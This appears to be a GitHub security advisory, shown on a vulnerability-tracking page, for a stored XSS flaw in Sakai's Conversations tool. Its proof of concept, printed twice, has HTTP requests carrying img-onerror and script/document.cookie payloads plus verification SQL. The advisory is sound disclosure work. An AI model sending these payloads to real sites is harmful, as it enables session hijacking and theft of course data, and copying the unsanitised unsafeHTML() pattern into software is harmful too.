GHSA-W2X5-GV52-9CCV

Vulnerability from github – Published: 2026-08-24 19:37 – Updated: 2026-08-24 19:37
VLAI
Summary
Sakai Conversations has a Stored XSS Issue
Details

Summary

The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.

Description

The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (conv_topics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.

The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in conv_comments.

On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:

  • SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)}
  • SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)}
  • SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}

Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.

Proof of Concept

Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP_275K_7418).

Step 1 - Inject XSS payload in topic:

POST /api/sites/BELP_275K_7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}

Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.

Step 2 - Verify stored in database:

SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Result: MESSAGE = <img src=x onerror=alert(1)>

Step 3 - Inject XSS payload in post reply:

POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP_275K_7418"}

Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.

Step 4 - Verify in database:

SELECT POST_ID, MESSAGE FROM conv_posts
WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Result: MESSAGE = <script>alert(document.cookie)</script>

When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.

Impact

An attacker with any site membership (student role or higher) can: - Perform actions on behalf of victims - Exfiltrate gradebook data and course content - In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously

Status / timeline:

  • 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27)
  • Release pending.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.conversations:sakai-conversations-impl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0"
            },
            {
              "last_affected": "23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.kernel:sakai-kernel-impl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0"
            },
            {
              "last_affected": "23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sakaiproject.rubrics:rubrics-impl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "23.0"
            },
            {
              "last_affected": "23.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-24T19:37:53Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement\u0027s `unsafeHTML()` directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.\n\n\n### Description\n\nThe Conversations REST API endpoint `POST /api/sites/{siteId}/topics` accepts a `message` field in the JSON request body. The service layer (`ConversationsServiceImpl`) stores the message directly to the database (`conv_topics.MESSAGE`) without invoking `FormattedText.processFormattedText()` or any equivalent HTML sanitizer.\n\nThe same issue affects post replies via `POST /api/sites/{siteId}/topics/{topicId}/posts` and comments stored in `conv_comments`.\n\nOn the frontend, `SakaiTopic.js`, `SakaiPost.js`, and `SakaiComment.js` all render the `message` field using LitElement\u0027s `unsafeHTML()` directive:\n\n- `SakaiPost.js` lines 429, 432: `${unsafeHTML(this.post.message)}`\n- `SakaiTopic.js` line 679: `${unsafeHTML(this.topic.message)}`\n- `SakaiComment.js` line 148: `${unsafeHTML(this.comment.message)}`\n\nUnlike other Sakai tools (Announcements, Assignments, Resources) which call `FormattedText.processFormattedText()` before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.\n\n### Proof of Concept\n\n**Setup:** Admin/instructor session on a site with the Conversations tool enabled (siteId `BELP_275K_7418`).\n\n**Step 1 - Inject XSS payload in topic:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=\u003cauthenticated-session\u003e\nContent-Type: application/json\n\n{\"title\":\"XSS Test Topic\",\"message\":\"\u003cimg src=x onerror=alert(1)\u003e\",\"type\":\"QUESTION\",\"visibility\":\"SITE\",\"draft\":false}\n```\n\nResponse: HTTP 200, `\"message\":\"\u003cimg src=x onerror=alert(1)\u003e\"` - raw HTML stored.\n\n**Step 2 - Verify stored in database:**\n\n```sql\nSELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics\nWHERE TOPIC_ID=\u0027e4c599c2-bd32-4364-9cbd-a5c9c102edfb\u0027;\n-- Result: MESSAGE = \u003cimg src=x onerror=alert(1)\u003e\n```\n\n**Step 3 - Inject XSS payload in post reply:**\n\n```\nPOST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=\u003cauthenticated-session\u003e\nContent-Type: application/json\n\n{\"message\":\"\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\",\"siteId\":\"BELP_275K_7418\"}\n```\n\nResponse: HTTP 200, `\"message\":\"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"` - raw script stored.\n\n**Step 4 - Verify in database:**\n\n```sql\nSELECT POST_ID, MESSAGE FROM conv_posts\nWHERE POST_ID=\u0027e3cf7aed-c630-448a-89bb-27a8baacd269\u0027;\n-- Result: MESSAGE = \u003cscript\u003ealert(document.cookie)\u003c/script\u003e\n```\n\nWhen any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with `unsafeHTML()`, causing the injected scripts and event handlers to execute.\n\n### Impact\n\nAn attacker with any site membership (student role or higher) can:\n- Perform actions on behalf of victims\n- Exfiltrate gradebook data and course content\n- In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`2696b4b48cbef2e81512f52f84f7477adff78b27`)\n- Release pending.",
  "id": "GHSA-w2x5-gv52-9ccv",
  "modified": "2026-08-24T19:37:53Z",
  "published": "2026-08-24T19:37:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-w2x5-gv52-9ccv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/commit/2696b4b48cbef2e81512f52f84f7477adff78b27"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sakaiproject/sakai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sakaiproject/sakai/releases/tag/23.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sakai Conversations has a Stored XSS Issue"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…